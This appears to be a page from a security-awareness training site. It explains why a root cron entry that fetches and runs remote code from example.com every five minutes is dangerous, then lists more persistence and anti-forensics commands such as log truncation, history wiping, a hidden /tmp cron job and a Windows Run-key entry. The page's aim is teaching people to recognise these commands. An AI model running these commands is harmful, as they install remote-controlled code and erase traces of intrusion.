Dangerous
echo '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/synclinux · bash · Expert
Installs a system cron entry that fetches and runs remote code as root every five minutes. Because the fetch happens on each run, the operator can change what executes at any time without touching the machine again.
Signals to notice
- Scheduled download-and-execute as root
- System-wide cron drop-in
- Remote server controls future payloads
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advanced:> /var/log/syslogAdvanced